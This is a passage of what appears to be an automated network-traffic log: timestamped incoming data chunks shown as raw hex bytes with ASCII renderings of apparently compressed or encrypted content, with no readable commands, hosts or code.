2023-02-21 06:06:04 UTC	10	IN	Data Raw: d0 9c 56 1b 3e 58 df 0a f6 55 53 7d ce 24 a9 53 29 20 63 84 7d 33 f5 d3 07 34 09 ee a1 a9 6c 3e 75 d4 34 3a af a5 b0 1d 41 2e e9 42 78 4f 91 51 03 09 77 0f 39 e4 55 b2 ad 2b 95 08 5f 37 57 ea 75 d2 f0 6b 82 5f 4a c3 a3 25 39 f6 3e 4a a9 75 c8 59 21 ca d2 21 92 7d 29 b5 6d 26 d7 4f 46 0d 49 ed ab a9 c0 ba 8c a6 fc 3d 24 63 2b dd 37 23 fe 2f 12 df be e4 bc e7 08 f7 36 e2 f9 28 f1 3a 46 b0 f9 a4 cf 60 9a a4 be a6 29 01 cf a4 cf 23 39 77 52 0e 3f 44 f4 7f 91 0e 13 29 7c 8e 90 b5 c3 9b 91 85 24 e3 57 92 f1 0d e1 1d 26 de c7 e9 fc 09 f1 be 9d f4 be 97 f0 6f a0 39 e9 72 e2 99 44 89 7b 0b c9 59 76 86 52 bd c9 ee 12 b2 e7 38 e9 99 4b b2 be 23 c7 a4 93 ec 7f 13 5e 84 e0 fd 49 56 43 2a 38 1f 20 b9 0d 69 3e fc 83 70 d3 48 c6 62 ea d6 77 c8 ce 2c 92 3d 80 f8 6d 27 dd Data Ascii: V>XUS}$S) c}34l>u4:A.BxOQw9U+_7Wuk_J%9>JuY!!})m&OFI=$c+7#/6(:F`)#9wR?D)\|$W&o9rD{YvR8K#^IVC*8 i>pHbw,=m'
2023-02-21 06:06:04 UTC	11	IN	Data Raw: 90 18 17 0e 9d d9 fe 30 26 08 5f 60 21 cb ab 48 7a b4 ba a8 82 a4 a7 7b fc ed fa 23 c9 fa 37 1a da 08 87 2e 12 ff 31 f4 c2 20 ba e6 f8 b7 cf 01 9b 46 b5 c0 26 a5 c8 ae 09 29 77 82 e8 c4 5f 4c d4 24 84 ad fb e6 68 de c7 f6 73 73 ec 23 e3 a1 ce be 27 50 a7 80 f1 ee 5f ae f8 b0 f5 3a 1a 56 83 24 92 1e 5f 6d 22 e3 5c 34 3f 2c 9c 3e 00 27 ee 1e df 80 b1 3a c2 1f d7 8a 0a 63 d0 70 3f 82 fe 60 62 d0 6b 37 1a 4a 07 ff c5 4e 04 db 5e 42 d4 26 94 10 de b1 67 11 c2 3f a6 26 84 b7 75 04 04 d5 ff f2 82 e0 33 28 b3 0c ad 27 8f b0 76 0f 80 2c bf 9a 33 cc 75 16 42 3f 5c 64 5f 84 9b 51 f5 e0 34 55 28 3d fe 82 09 cd 77 8e f0 b2 1f 16 bc ca 5c 6c 4d 08 b5 a4 87 6c e5 76 fc c3 47 38 ff 09 c6 70 c2 88 16 b9 2e 18 02 86 ad a0 c6 4c 01 f7 02 e9 ad 68 b8 f4 88 17 23 ef 42 db df Data Ascii: 0&_`!Hz{#7.1 F&)w_L$hss#'P_:V$_m"\4?,>':cp?`bk7JN^B&g?&u3('v,3uB?\d_Q4U(=w\lMlvG8p.Lh#B
2023-02-21 06:06:04 UTC	13	IN	Data Raw: 4a 48 47 60 0b 40 67 88 a0 e2 d3 fb e9 07 23 f1 e0 21 44 24 db b4 fb 10 a3 73 a1 c0 6f 5b b1 07 c6 9b 2e 5d cb a8 5c c4 be 70 c8 04 12 9b a0 df c8 53 c8 01 9b 2b 1d 55 62 7b 1d c3 28 0e 46 7a e2 21 33 b8 e2 07 d2 9c 75 a4 ae 40 77 c9 20 17 0f d8 fd 40 fc 87 21 ee c8 c4 cd 85 18 39 91 8a 93 68 fa e9 1b 00 37 1b 13 93 98 e2 d8 0f 4c 81 9c 16 9f 9a ee a6 a3 17 0d d6 de 1f 80 b5 95 b1 62 4f 23 97 49 ea 99 00 7b d7 fd 60 52 4f 61 a1 2f b6 7a ba 6a 95 3c 0e 72 eb 26 20 2f f1 90 a3 99 92 dd 9b 84 cc fc cf 62 a6 30 4a d9 55 70 4e 1e cc c6 be 9a 92 e5 a4 d4 d9 f6 58 08 bf de 98 dd 95 f9 a3 33 74 7b 10 d3 fc 74 0d ac 18 0e ef 8f f2 96 b0 4e ea c6 38 90 d4 7d 31 48 14 93 a4 54 91 46 74 2b 5e 04 71 f6 8a c5 a1 ef 27 20 da f8 3d db 81 52 20 90 fd 2c 80 57 0a b8 43 c8 Data Ascii: JHG`@g#!D$so[.]\pS+Ub{(Fz!3u@w @!9h7LbO#I{`ROa/zj<r& /b0JUpNX3t{tN8}1HTFt+^q' =R ,WC
2023-02-21 06:06:04 UTC	14	IN	Data Raw: 1f c9 72 dd db d4 98 7d c6 3e b8 17 4b 0b 5d 77 9f 89 11 fb 52 60 5d 81 d6 54 d1 81 9f 56 ad ce 72 57 a0 59 50 ef c7 bd 0c e2 c5 e9 fa 2c d7 db c9 6e 9f 94 6e dc 0b de 36 50 d7 09 6a a9 3f 60 c4 d0 cf dc e8 7f 68 af e9 20 d9 8e b3 db 85 dc 32 a1 26 34 b9 61 af 89 aa f8 09 d7 87 fa 98 cc 3c 85 5e 50 5c 6d 82 e2 6c 28 a0 bb ef f5 22 39 17 08 d3 5c eb 4b 9a b1 86 51 68 58 5f c4 2f f7 b2 d0 d3 26 0b 7d 09 f1 a7 f6 30 c2 9b 8a 57 4c e9 d9 a7 3d 32 e2 d7 3f f5 76 41 7b 02 19 58 4a cf 29 52 ad 63 e1 24 7b 55 fa 6e 99 5a 78 2f f7 bf c8 c9 b7 7b c5 66 fc dc 6c a7 00 d3 b3 25 77 88 33 78 b5 cb da 0c 87 98 18 c4 44 52 65 2a cd f1 e5 89 59 80 0e 15 25 b0 2d 9c 58 88 5a e7 01 dc 8e 89 55 55 11 fe be ef 81 56 30 bf eb 76 15 66 10 3a dd d4 d8 d5 4c af 09 ee 25 73 e8 8a Data Ascii: r}>K]wR`]TVrWYP,nn6Pj?`h 2&4a<^P\ml("9\KQhX_/&}0WL=2?vA{XJ)Rc${UnZx/{fl%w3xDRe*Y%-XZUUV0vf:L%s
2023-02-21 06:06:04 UTC	15	IN	Data Raw: ac 36 90 72 b9 48 79 5b 71 ee 5b 9b 7b 7a 59 7e 19 db cf 68 65 b4 60 cc 98 8d 61 af eb f3 d2 39 14 cd 73 36 be 24 1a fa 03 37 9f 6d cb 70 dc f7 2a 9a 94 48 d9 04 5b 42 79 6e 5d f6 5f a3 f3 fe 4f a1 f3 f6 4f 2b 4c 2a e2 e9 cd 3e 1b 1c 56 82 c3 5b 9f ba 01 93 c5 19 43 5c fc 0c d3 3d 0e ba 48 9a b3 58 bc 5b 39 03 7f 81 b0 e3 4a 5a 1c c6 01 7f b5 89 91 2b 41 6d 6d 00 fb 71 82 cb 75 d0 78 95 f8 f2 4c 66 5e e2 f3 be 0b 5d 01 4d 99 88 77 4e 64 83 6d b2 7f 60 18 31 49 2c a6 1a c4 1c dd cc 6e e4 09 4b 81 d7 bd c6 94 bd 9b 61 ca 56 46 e0 e7 4a 52 d4 c8 2b 01 eb 36 1b cf c4 bb 91 3a f6 40 24 2a ac ed c9 ee 68 9e d4 0f 48 b4 fa 7e c1 6c 51 69 bf cb f6 d4 53 7f 7a 28 13 f2 dc 87 79 cd 40 3d 7a 33 87 25 f5 aa ff d9 ed 19 00 9d 25 8c b1 04 15 63 1b f9 8c fd cd 75 49 3e Data Ascii: 6rHy[q[{zY~he`a9s6$7mpH[Byn]_OO+L>V[C\=HX[9JZ+AmmquxLf^]MwNdm`1I,nKaVFJR+6:@$*hH~lQiSz(y@=z3%%cuI>
2023-02-21 06:06:04 UTC	17	IN	Data Raw: f0 f6 89 f0 0e 41 78 87 44 78 c7 20 bc 63 22 bc 53 e5 3a 76 f2 eb 78 66 e5 38 67 fa 71 74 50 8e 4e 94 53 12 84 97 24 c2 4b 83 f0 d2 44 78 e7 20 bc 73 22 bc 4b 10 de 25 11 7e 56 e5 36 9c e5 b7 a1 6b e5 38 5d fd 38 dd 2a c7 e9 e6 c7 e9 1e d4 a5 7b a2 2e 3d 2a e7 d1 c3 cf a3 67 e5 38 3d fd 38 bd 2a c7 e9 e5 c7 e9 1d d4 a5 77 a2 2e 7d 2a e7 d1 c7 cf a3 6f 90 47 df 44 1e fd 2a e7 d1 cf cf a3 7f 90 47 ff 44 1e 03 2a e7 31 c0 cf e3 ec 20 8f b3 13 79 0c ac 9c c7 40 3f 8f 41 95 e3 0c f2 e3 9c 13 94 73 4e a2 9c c1 95 f3 18 ec e7 71 6e e5 38 e7 fa 71 86 54 8e 33 c4 8f 33 34 a8 cb d0 44 5d 86 55 ce 63 98 9f c7 f0 ca 71 86 fb 71 46 54 8e 33 c2 e0 e0 7b 2b 83 9d 55 b5 3d 91 fe 34 15 f4 f1 e6 23 11 b2 10 9a 84 bc fc 73 05 cf 51 1e 4c c8 ae ac 14 c6 74 b1 f9 58 57 39 30 Data Ascii: AxDx c"S:vxf8gqtPNS$KDx s"K%~V6k8]8{.=g8=8w.}oGDGD1 y@?AsNqn8qT334D]UcqqFT3{+U=4#sQLtXW90
2023-02-21 06:06:04 UTC	18	IN	Data Raw: 10 05 45 54 82 02 22 20 41 45 0c 98 b3 a0 22 82 48 ce 08 08 92 73 66 bf 7a df 9a e9 e9 1d ee fc 7f df c7 f3 2c 37 dd 5d 5d a9 ab bb ab 7b ba 6b 46 5a b4 66 5a 78 5e b3 f2 df b7 f2 bf b0 9e bf b1 9e bf 0b d1 7d 3d 44 e7 8d 50 7a 94 85 ff b3 50 dd d1 21 d8 31 a1 74 97 50 ba 6b 28 dd 2b 94 be 3b 94 7e 28 94 ee 1e 4a f7 b7 78 9b 65 c9 f8 71 88 cf b1 a1 7a 6f 86 d2 3d 2c 3c 5f 59 78 7e b0 9e 57 86 70 be 15 c2 31 2e 3d ed c5 34 0c d2 d7 85 d2 d7 04 34 c3 b1 0d 4f 89 65 d8 c9 e2 2f 69 3d b7 08 d5 eb 14 aa d7 39 94 6e 6d d5 1d 6f 3d 4f b0 9e df e6 73 61 31 00 95 df 89 16 7c b5 90 5e de 09 d1 1c 66 c1 0e b6 9e 9f b7 9e eb 59 cf 2f 5a cf cf f2 d9 9b 87 6a 23 e1 3d 4f c2 33 f6 25 45 73 98 fb b2 78 63 ba 80 a8 8c c1 b7 4a 92 37 89 f7 d1 ff 66 38 0e 48 56 ce fd 33 65 Data Ascii: ET" AE"Hsfz,7]]{kFZfZx^}=DPzP!1tPk(+;~(Jxeqzo=,<_Yx~Wp1.=44Oe/i=9nmo=Osa1\|^fY/Zj#=O3%EsxcJ7f8HV3e
2023-02-21 06:06:04 UTC	19	IN	Data Raw: 3e 6b 96 7b 53 19 4f de c3 52 32 5d 70 1c 96 de ff 85 f8 1f 59 d2 19 ea 4b 97 ef 27 e9 d1 55 85 98 b0 b8 a4 8a ea a4 9b 8c 6d 53 44 5f e5 05 7e aa 3c 77 94 09 f2 36 71 5c f2 65 6c 5a 2c 75 fb 0a ea 47 a5 ce 8a 3a 8e d3 5a 68 b6 13 98 9f 45 0a c4 5c ee 23 8a c5 01 af 21 a7 39 4e 33 b1 d1 df 85 ce 5d 22 c0 a7 42 0b 1e 6d 52 f2 5e 16 5c ef 09 63 17 09 be a6 82 0b 4e 50 45 e9 51 45 85 26 e2 11 bf 5c 51 63 08 ff 2b 74 ab d7 75 9c 5b 05 6e a2 d4 59 2a bf 24 d6 05 32 74 6e 15 cb 9b 70 ba c6 7a 1e 21 a3 47 52 e0 3b 0a ee 7f a4 c5 67 49 fa 71 e1 b3 ac d4 6f 28 cf 03 05 76 ad d0 9b 27 7c b6 13 dc 7b 84 b7 11 82 73 90 e4 89 08 ce 9d 42 f3 3b d1 c3 19 f2 db 2f cf 97 c9 af 99 c0 9c 25 f5 6f 90 c1 ef 15 49 17 13 79 db 89 22 5b 09 af 03 c4 dd 68 2b f2 6e 10 7e 47 8b de Data Ascii: >k{SOR2]pYK'UmSD_~<w6q\elZ,uG:ZhE\#!9N3]"BmR^\cNPEQE&\Qc+tu[nY*$2tnpz!GR;gIqo(v'\|{sB;/%oIy"[h+n~G
2023-02-21 06:06:04 UTC	21	IN	Data Raw: 01 39 15 91 33 88 39 8c 74 93 ff 8d 10 70 3b 50 18 ae 6b 12 d3 51 bb 1e 60 a7 03 f6 66 bd 00 c7 cd 04 be 05 71 af 51 87 f8 7f 51 ff bc 3d 25 1f 64 1a 2d 71 10 6d 52 f3 a0 e9 bf 0c 01 ed 5f 72 a8 05 e0 cd c0 ec a8 84 73 a1 41 06 c0 27 9e 66 a6 6d d7 31 00 f3 12 0d c0 3c 1f 50 8c 54 07 28 f7 37 f5 fa 47 20 77 7b 2b 7f f5 7d 25 d0 be ab 37 31 9b 08 58 56 54 63 2d 5c 1a f5 2e 75 f1 15 00 64 f5 58 ed 4b 12 3d b4 06 16 49 f1 0b d8 bb ac be 7c bf e1 a7 0d 81 2f 3f 10 8c 1b f9 f3 a0 b0 3c b0 1d f1 71 e6 9d 09 30 a6 dd 9a 07 0c 97 95 13 b5 01 f6 0e b2 8b 1d 30 4d 4b 6d e3 65 4c a6 3b 87 8d 98 3f 2e e2 77 53 b7 5b 19 e6 bc 0e 21 8b b6 96 6e 9a 40 ee e8 0a 6c ab e6 0e 62 24 60 3c 48 54 07 e6 73 1d 6f e0 7c 47 6f 38 61 64 aa a1 03 a4 99 ac f2 86 ee 87 08 4f ef 0f 3a Data Ascii: 939tp;PkQ`fqQQ=%d-qmR_rsA'fm1<PT(7G w{+}%71XVTc-\.udXK=I\|/?<q00MKmeL;?.wS[!n@lb$`<HTso\|Go8adO:
2023-02-21 06:06:04 UTC	22	IN	Data Raw: dd 9c ad bc 1d 9d cd d3 24 ee 97 65 d9 ac 70 06 e2 9d c5 13 08 f4 3c d7 d4 9d cd ba dc dc 98 a1 37 ab 27 45 fc 0e aa d1 24 46 6a c8 41 f8 2c 5e d0 89 e7 8c e9 3f c1 da cb 00 96 af 60 58 46 ea 97 d3 c9 e4 7a 14 75 d0 22 4c d6 a7 29 86 a9 86 be 0b 0c 6e 43 85 68 c8 be cb 8e 37 d3 b4 48 36 21 4a 6d 35 fd 2f 51 02 00 5f 03 f3 d1 2d a6 9d bc 7a cd fd 86 58 a9 d1 46 31 f7 4b 47 4b ff 08 08 57 32 ee 06 5d 95 72 31 9d 01 3d eb 17 de d9 e9 0a da 26 60 b4 1c f7 59 c5 cb 85 57 e8 16 fc 95 40 72 b7 36 21 5f 1e de 0c 8e 7e 41 ad b6 ca 28 26 66 6f 6f c7 35 02 5e b0 05 02 9e a5 78 3f f9 0f 2b ed ec cb 96 62 d4 3a 6e e3 18 c7 5e 5d bc f6 20 b6 f1 1f d3 90 8c d7 a7 93 32 56 3e ee 2f ff 18 ee cd f7 1f 12 57 a1 66 13 d3 24 ef fc 03 7e 46 13 92 43 59 b2 54 1b df 14 67 a8 67 Data Ascii: $ep<7'E$FjA,^?`XFzu"L)nCh7H6!Jm5/Q_-zXF1KGKW2]r1=&`YW@r6!_~A(&foo5^x?+b:n^] 2V>/Wf$~FCYTgg
2023-02-21 06:06:04 UTC	23	IN	Data Raw: 78 81 8a 7f 8e 78 81 8a e7 46 bc 40 c5 78 91 cb 40 c5 17 44 35 50 31 e7 4c 06 2a be 30 ea 05 2a 76 a3 5e a0 62 76 2e 0d 54 7c 5e d4 0f 54 8c b1 68 02 2f 6d e8 99 46 2a fb 42 32 88 9d 76 b7 c1 2a 33 b2 14 32 ff bb b5 f5 75 e4 c6 74 03 b9 0c b5 77 ae 64 11 56 89 fa 9e f8 43 5d cf 61 be ce 79 04 c3 a7 3d 56 fd 6e f4 fe c9 4a e8 7d 3a 6b 73 dd 9a ff 71 c4 1b a2 dc 51 8a 13 f2 e9 57 80 b1 4a 0d dc e0 dc 27 50 57 e3 12 e6 2b 28 77 ed f0 71 5d ed 6a 33 50 d4 81 45 ba 7f 5d bb ad bf 49 78 01 8a 72 b5 16 bd a2 26 6d fd e9 ed 5e c3 5c 55 32 57 56 99 e3 e6 db 42 30 37 de b4 ef e1 15 00 d8 b9 c2 74 03 ef 4d c4 06 60 5f a9 d9 7c 05 8f ef 8f 2a fb 98 ce dd 6f 57 04 dd bd 6c 78 1b 02 6b 73 f7 cd 15 a6 97 78 33 3c fa 9e 1a f4 14 c3 a0 c6 85 e6 09 06 2f 2e 74 55 bf 01 72 Data Ascii: xxF@x@D5P1L0v^bv.T\|^Th/mFB2v32utwdVC]ay=VnJ}:ksqQWJ'PW+(wq]j3PE]Ixr&m^\U2WVB07tM`_\|*oWlxksx3</.tUr
2023-02-21 06:06:04 UTC	25	IN	Data Raw: 06 bc 77 c2 44 24 63 89 0e 8a 0d f1 df 70 f9 4f 19 9d 03 e5 98 60 9a 90 8a 1d 22 2b 92 0b 0c 8c 5a a4 4c 48 bf e4 18 c5 26 1f 1e 0c 44 83 52 0c 1d 08 10 dd af e9 89 0c af 8a 8b 2d f0 e8 c9 a2 bd 23 a1 80 91 c4 72 4d 80 a5 a9 3c d6 67 88 cf ee 18 a6 d1 34 aa b3 7a 34 ae d3 c8 12 6f ae 69 2b 96 4b 79 fa bb 25 ac bf 5b d2 f5 77 6b b8 fc d6 f4 f2 db c2 fa 2d 1a 29 34 ce 2b f4 8b dd 5d 2c 25 20 2a de c2 60 2f ea 6b f9 89 73 a5 e3 22 de be 22 30 ab 2a d4 f1 05 d1 c1 86 69 8d d5 18 e1 95 11 b5 b9 09 90 de c5 f6 8e 8e 61 a8 de d9 54 a7 07 d6 2f e8 4b 8f 50 c1 b7 a9 82 3f b2 12 9e c9 3b 7a 6f 4a d4 fe a4 51 7b d4 ba aa 72 3e 55 5a 5f db 0d 35 b5 27 78 3a ee 67 74 5c ca d7 71 97 b0 8e aa 44 bc 58 b0 45 9d 82 6c 10 53 c8 6c 47 63 36 35 75 54 57 a2 0d de 37 bb 1f 98 Data Ascii: wD$cpO`"+ZLH&DR-#rM<g4z4oi+Ky%[wk-)4+],% `/ks""0iaT/KP?;zoJQ{r>UZ_5'x:gt\qDXElSlGc65uTW7
2023-02-21 06:06:04 UTC	26	IN	Data Raw: 31 29 69 62 6b 31 90 37 86 e6 f6 32 2d bb 8f 13 7c 87 82 e3 47 3f 16 f6 54 fb eb 13 b6 fb ae 2c ed 48 b4 b9 4f 1a 43 67 59 cb c0 d0 f3 7c 43 7f c0 18 3a 91 d7 4e 99 01 ad 32 cc fc 0d 60 60 3f 2b ee d7 b8 1f 3d f5 0c b5 f5 be 61 9d 9d 50 85 14 e6 3b fe e4 e8 9a ae 9f a3 fb 09 90 7b 9c a3 eb e1 17 41 e5 5b 87 3a 03 5e ed 54 5c d7 61 2c cc 4f 77 71 66 50 ce b7 59 9a 87 a1 fe 94 bd 05 8e c1 83 08 90 8b 71 df 1a 51 1e 62 e5 bb 7c d4 0f 42 22 40 32 b6 87 8e f7 5c ff 52 3e ff f6 e4 ff ac 1c fd 00 c2 c9 a2 cf a2 3d 67 59 a3 51 76 ca f8 d5 4f 16 6c 73 4f da 36 d7 2f 6c b7 76 86 94 f7 2f 18 47 7f 1b c7 53 05 c3 3c 65 c3 0c 28 18 66 80 81 a9 fb e4 d3 4e 10 87 13 cf f5 0b 8d d9 a9 31 d1 70 84 de 7f 1e 65 3d bf 1e 49 8f c3 36 c5 aa 33 ce 82 ab 62 c5 b4 1b 14 c0 30 92 Data Ascii: 1)ibk172-\|G?T,HOCgY\|C:N2``?+=aP;{A[:^T\a,OwqfPYqQb\|B"@2\R>=gYQvOlsO6/lv/GS<e(fN1pe=I63b0
2023-02-21 06:06:04 UTC	27	IN	Data Raw: 5a e0 c6 8a 0e be 13 d8 21 42 b3 93 c8 f8 a5 e0 ac 28 70 b7 48 79 77 29 6b 56 5d df 47 61 28 b8 4f 74 33 40 f8 dc 2f 30 e5 24 63 9a f0 f1 a1 d0 5b 9d a5 81 dd e6 88 ec e5 84 bf 66 22 f7 60 c1 59 57 f8 2e 29 72 36 16 d8 4b c5 9e 5e 11 5d e1 a6 13 42 07 35 11 bb 7c 55 f4 5c 5b 60 3b 09 ec 72 b1 e3 85 42 bf 92 fc dd 29 b4 da 09 5c 67 c1 ff 78 69 1c a9 93 a5 69 42 bb dd a3 d2 1f aa 8b 5e ba 4a fb 6c 95 fc a6 92 9e 26 b8 97 8b 2c 3f 08 ce 9d 25 34 20 5c 29 f9 3d 22 79 31 c1 31 4b 78 2a 27 34 17 08 8e bb c5 3e ba 08 8d 5f 44 ae e1 c2 fb c7 82 e7 88 c8 7a 87 e0 18 23 ba ea 15 d1 91 f0 80 d8 ca 58 e1 fb b0 c8 76 69 19 0d 34 37 51 7e 75 04 df e9 02 7b 42 74 34 4a ec b2 ad c0 7c 2e 78 df 16 b8 5f 85 c6 78 a1 fb 3f a1 37 b6 3c 36 c4 a4 cd 44 af 9b a5 ed 6a 0b ce 75 Data Ascii: Z!B(pHyw)kV]Ga(Ot3@/0$c[f"`YW.)r6K^]B5\|U\[`;rB)\gxiiB^Jl&,?%4 \)="y11Kx*'4>_Dz#Xvi47Q~u{Bt4J\|.x_x?7<6Dju
2023-02-21 06:06:04 UTC	29	IN	Data Raw: 67 90 55 84 f3 88 6d 3c 8c c5 e8 ce d9 6b ba 80 77 2d 41 fb 5d 73 ca af f1 b2 f2 91 3b 0a f2 77 a6 73 a4 47 e1 17 03 47 33 80 3d bd d7 30 a0 7a cc 7f dc e8 f1 7e 63 36 b7 30 c2 56 fb 80 1e 37 35 dc 64 79 6a a8 38 ba 5f 97 f8 19 16 7f 99 11 bf b9 6a b3 6a 15 56 cd 9f c5 96 3a 0c 62 0d a1 fd 65 86 c2 31 46 d1 aa 04 96 76 6b 3c ab 77 0b 57 a9 bb 38 4e c2 54 5b cf 32 d2 96 29 10 ad 8d da 1f 6a 6d 78 05 d9 7a 27 a0 a6 21 32 92 44 30 ea b8 43 f6 18 b9 3d bf c5 35 16 96 4f 30 54 73 bb ed a1 b9 17 d6 b4 f3 00 d3 54 51 41 0b c9 f5 a6 13 6e 3c 19 36 d0 7d 46 b1 70 84 dd 12 7b cc a0 98 7c d9 8c 19 cf 19 66 b7 ee 06 17 9d 01 ba 46 23 53 61 a8 e2 b5 7e fa a3 2e 67 44 71 62 7f 2f e3 df 2b 1e ee 1b f3 bb ac 90 df f3 3f ac f2 09 20 1e a8 88 d1 75 6c b7 4c 47 e0 73 0c 2b Data Ascii: gUm<kw-A]s;wsGG3=0z~c60V75dyj8_jjV:be1Fvk<wW8NT[2)jmxz'!2D0C=5O0TsTQAn<6}Fp{\|fF#Sa~.gDqb/+? ulLGs+
2023-02-21 06:06:04 UTC	30	IN	Data Raw: e2 8e bf a8 d5 45 33 df 87 6b 9c 8c af 35 5c 15 b4 af 3b 6c 95 ac 6e 86 7a ee 18 85 c8 44 0f 52 7b 7e 1f d9 03 99 5d 3b 14 89 ac 23 10 ff 69 94 d1 05 21 b1 34 82 f0 f5 9b a8 e3 78 a6 e2 28 e9 cf b2 b9 9b 82 71 61 0d 4a b6 fb 4a ca ab cd da f0 a5 dd ca 9b 4c 7b 78 f3 9e 63 74 79 8c d1 ac 6e 06 d8 6e c4 aa ca ca a8 a9 34 5e 37 98 96 01 c4 9d cf 48 56 3a a1 77 f6 e7 02 77 4a 31 68 87 a8 93 f7 b7 f7 d7 91 d8 07 70 c7 6b e8 2b f8 9e c9 66 99 fe 06 e6 1a 83 f6 29 52 2e 02 d0 47 15 14 7b 23 26 de 48 a2 16 c0 e1 fa b9 1d b5 58 9b 00 8b 38 bd 91 be c1 a0 6a 42 0e 1b 28 87 af 44 d9 e8 e9 b1 ff d8 e8 ee 9c 0c 72 3b 13 f2 9d b2 ec c0 a6 9e a2 fb e7 6f 70 86 cd 0b 77 d5 df c4 09 eb 4f f6 37 f2 35 46 d1 77 2c a2 f3 9f 58 08 8c 97 18 7e 26 11 01 f6 fa dd d1 84 e2 4e 85 Data Ascii: E3k5\;lnzDR{~];#i!4x(qaJJL{xctynn4^7HV:wwJ1hpk+f)R.G{#&HX8jB(Dr;opwO75Fw,X~&N
2023-02-21 06:06:04 UTC	31	IN	Data Raw: aa 5f b4 3c 68 fb c6 d0 10 56 e0 6e dd e5 be 51 65 b8 6f 9d 30 9a e2 27 db 74 31 75 19 c0 52 cb 28 12 17 62 4f 80 e1 b2 c8 dd ba cc 58 5d 3c 8b cb 5c cb 9c 1b 02 62 0e 20 b2 a2 5e e8 a3 57 fc 36 99 be cc 18 66 fe cb 00 ee 6c 34 f4 ea 32 68 68 c8 32 63 1b a7 2c 56 11 e5 d4 de 08 e8 c1 15 5c ce cd 31 1c 42 8c fa 2b b2 73 c0 3b 96 1c 6e 0b 8b d8 08 10 7b ca f1 87 98 04 88 31 74 92 7b 9a 72 ea 99 f1 97 c8 ca 5c 66 cc 31 e7 ef 8c 20 58 15 a7 d7 0e 86 e3 bf 97 02 09 df fd 2f 5b ea 6b b3 68 4e 69 78 6a 73 96 12 05 0f 03 a4 2d f5 f5 bb 57 53 b4 b8 82 35 be a8 1f c7 b5 ce 60 96 aa d0 ef a1 d9 0e 81 f0 bf b4 7f 2d c2 e6 47 f2 6b bf f5 19 ba 9a fa bd 56 f1 d6 3f d5 92 8e 1b b6 1b 80 6d b7 b6 22 e2 76 c9 58 b3 80 8e 18 a8 a2 84 3a be 84 50 d3 a2 4e 01 ab 21 be 11 5b Data Ascii: _<hVnQeo0't1uR(bOX]<\b ^W6fl42hh2c,V\1B+s;n{1t{r\f1 X/[khNixjs-WS5`-GkV?m"vX:PN![
2023-02-21 06:06:04 UTC	33	IN	Data Raw: 17 8b 96 a0 25 b8 d6 40 07 ab af a4 bc 11 46 15 31 8d 92 8c 47 fb c1 1e 82 d1 ed 45 b6 66 ee 5c 94 b4 24 be bc 77 f1 bc 98 42 7b 78 02 6d df 41 3c 37 a9 42 5f 48 1b e8 f2 ae 60 d9 c5 a9 f0 f0 e5 36 54 cb fc c9 1a 7f 82 4e 96 45 c5 81 02 63 30 8a 9e 86 86 f5 b4 db f1 c6 9f 5f 1c 6b fc 79 4c 7e 58 d0 61 1f 08 6e 79 37 f9 7d ea a9 c8 c5 fe 9a b4 e7 b3 8e 63 45 8e 0b 8d 96 9f a4 cc 68 39 8d d2 0e 75 82 68 67 94 68 04 25 1a 6c 17 b2 af f4 49 f9 61 09 69 05 b4 a9 7b d8 ea 79 9b 53 de 28 76 ca f8 13 eb 3b d4 1f 0c 35 ec c0 c9 a2 3f 5a 7d 75 14 b4 3e 39 e5 87 2a a8 aa ba 78 31 3c 7f d9 19 52 fe 92 5d 1e cc 81 cc f6 e7 c0 61 61 1c c3 d2 71 0c 2f 18 c7 70 1b c7 cb 05 c3 bc 6c c3 bc 52 30 cc 2b 36 cc 88 82 61 46 d8 30 af 86 f9 b5 33 a4 7c 64 b8 7c 64 7a f9 6b e1 f2 Data Ascii: %@F1GEf\$wB{xmA<7B_H`6TNEc0_kyL~Xany7}cEh9uhgh%lIai{yS(v;5?Z}u>9*x1<R]aaq/plR0+6aF03\|d\|dzk
2023-02-21 06:06:04 UTC	34	IN	Data Raw: f3 5b d6 f3 78 eb 79 78 88 af d7 43 7c bd 11 4a 3f 11 4a 8f 0a a5 c7 84 d2 0f 58 b2 0c 0d d1 ea 12 82 ed 1a 4a f7 0a a5 1f 0a a5 ef 0e a5 7b 84 d2 fd 43 e9 ee a1 f4 fd a1 f4 bd a1 f4 d8 50 fa 41 4b 96 b1 96 0e df 0e c9 f5 56 a8 5e cf 50 7a 5c 7a 9a df c2 f1 70 25 42 fd ee ff 53 ec a3 a4 f5 dc 22 04 d7 39 94 6e 6d c1 4e e0 f3 7f c7 ae 1b 14 aa ff 8e 55 ff 25 eb 79 70 08 6e 98 55 f6 3c 9f a5 df 0d 0d f0 be 60 95 bf 68 3d 3f 6b 3d 3f c7 67 2f ae 51 6d 24 10 67 48 dc 0c cc 79 59 89 d9 fe ec aa 71 86 dc f6 98 15 b1 7b 92 16 62 08 9e e0 69 8e bf 96 30 31 83 b6 38 fe 4e ca 9f 52 23 9a b8 32 e6 6d c6 55 d6 0f 9d f0 d9 c5 06 0f e3 0f cd 8c f9 f1 87 3e f3 67 ea ca 79 af 07 8b 86 a1 fe 1a 21 e6 6c 76 38 1f 67 b9 cb e5 c1 7c 73 e5 4f 40 fd 4e 1e 62 79 f7 38 de f6 ac Data Ascii: [xyxC\|J?JXJ{CPAKV^Pz\zp%BS"9nmNU%ypnU<`h=?k=?g/Qm$gHyYq{bi018NR#2mU>gy!lv8g\|sO@Nby8
2023-02-21 06:06:04 UTC	35	IN	Data Raw: ff 2d a2 cf 4f a5 ee 2a a1 7d be f0 f5 83 3c bf 29 6d d8 46 64 3d 5f e8 27 ea 63 ca 11 06 9c 68 fe 2d 98 35 4a 47 83 9b 80 1b 91 81 39 cb bd 51 c3 0d 5d 23 19 89 7f 62 38 01 e0 64 c8 e3 bf 98 6f 6f c0 4a 39 2b d3 9c 86 d5 6a 17 0a 71 b7 16 af 5c 45 93 8f e1 18 f8 06 6e 57 20 3b 53 b3 e3 57 a5 9d 2c 59 e9 f8 73 0a 62 10 d5 d5 f8 31 6b 79 3c 37 33 5e 31 f1 37 aa 8f 40 de 6f 1a fd 62 b9 cf 4c 56 49 32 92 73 6d c4 47 f0 2e 10 b8 6f 69 dd e0 a2 3e 63 e9 4b cd 55 58 ce f3 ee 67 15 91 82 b7 36 75 a2 7c 98 84 4f 07 91 bb 48 24 ff f9 58 81 e7 5a d6 82 1e 3e c3 e0 5e a2 70 1d 63 38 74 40 1e 3f 31 72 d4 26 1b 55 14 62 60 0c 67 77 f5 4c e8 46 6c 5c 45 13 fb 80 bc 57 47 ff a4 db 45 c0 b7 53 8f 8b 42 bd 1a d5 60 3d 74 9c 57 11 3a 2e 9a 1c 60 80 f7 80 c9 ef 14 f8 10 f0 Data Ascii: 